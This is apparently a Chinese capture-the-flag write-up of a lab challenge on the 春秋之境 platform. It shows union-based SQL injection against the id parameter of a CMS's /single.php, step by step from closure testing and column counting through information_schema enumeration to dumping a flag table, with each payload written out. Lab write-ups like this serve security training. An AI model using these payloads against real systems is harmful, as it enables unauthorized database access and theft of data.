春秋之境28512

题目说该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。访问看一下随便点一个图片。

发现了注入点?id=

那么开始查看闭合符一个 ' 就报错了

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

分析一下就知道就是一个 ' 并且过滤符#被过滤了

所以用 --+ 或者 ;%00 来过滤后面

用 order by 数字 来判断字段发现order by 9成功

order by 10报错,所以字段就是9个

使用payload:?id=-1' union select 1,2,3,4,5,6,7,8,9 ;%00

发现第2个位置有回显

?id=-1' union select 1,database(),3,4,5,6,7,8,9 ;%00

爆出数据库ctf

试了很多写法最后还是发现payload为:?id=-1' union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema='ctf';%00

爆出表名titles

?id=-1' union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='titles';%00

接着爆字段,发现爆出来的东西没一点关系(表爆出了一个没用的)

构造payload

?id=-1' union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()limit 10,1 --+

查看后面的表名

从limit 0,1 一直到limit 13,1

一共有14个表

分别为titlespage_hitsmembership_userpermissionsmembership_groupsblog_categoriesmembership_userrecordsmembership_userseditors_choiceblogslinksflagbanner_postsmembership_grouppermissionsvisitor_info

毫无疑问就flag最像了

接着便是查字段

?id=-1' union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag' --+

查内容

id=1' and 1=2 union select 1,flag,3,4,5,6,7,8,9 from flag --+

flag{218405b4-7dcd-4f19-8b07-7aec5b843a21}

相关推荐
我叫珂蛋儿吖14 分钟前
[redis进阶六]详解redis作为缓存&&分布式锁
运维·c语言·数据库·c++·redis·分布式·缓存
mooyuan天天23 分钟前
upload-labs通关笔记-第2关 文件上传之MIME绕过
web安全·文件上传·文件上传漏洞·mime·upload-labs靶场
小L爱科研33 分钟前
4.7/Q1,GBD数据库最新文章解读
数据库·机器学习·数据分析·回归·健康医疗
Johny_Zhao38 分钟前
Ubuntu安装部署Zabbix网络监控平台和设备配置添加
linux·网络·mysql·网络安全·信息安全·云计算·apache·zabbix·shell·yum源·系统运维·itsm
GUIQU.39 分钟前
【MySQL】函数
数据库·mysql
chennalC#c.h.JA Ptho1 小时前
kubuntu系统详解
linux·数据库·经验分享·postgresql·系统安全
DavieLau1 小时前
Python开发后端InfluxDB数据库测试接口
服务器·数据库·python·时序数据库
悟能不能悟1 小时前
关于 javax.validation.constraints的详细说明
数据库·mysql
.生产的驴2 小时前
Docker 部署Nexus仓库 搭建Maven私服仓库 公司内部仓库
java·运维·数据库·spring·docker·容器·maven
知行022 小时前
MySQL的Docker版本,部署在ubantu系统
数据库·mysql·docker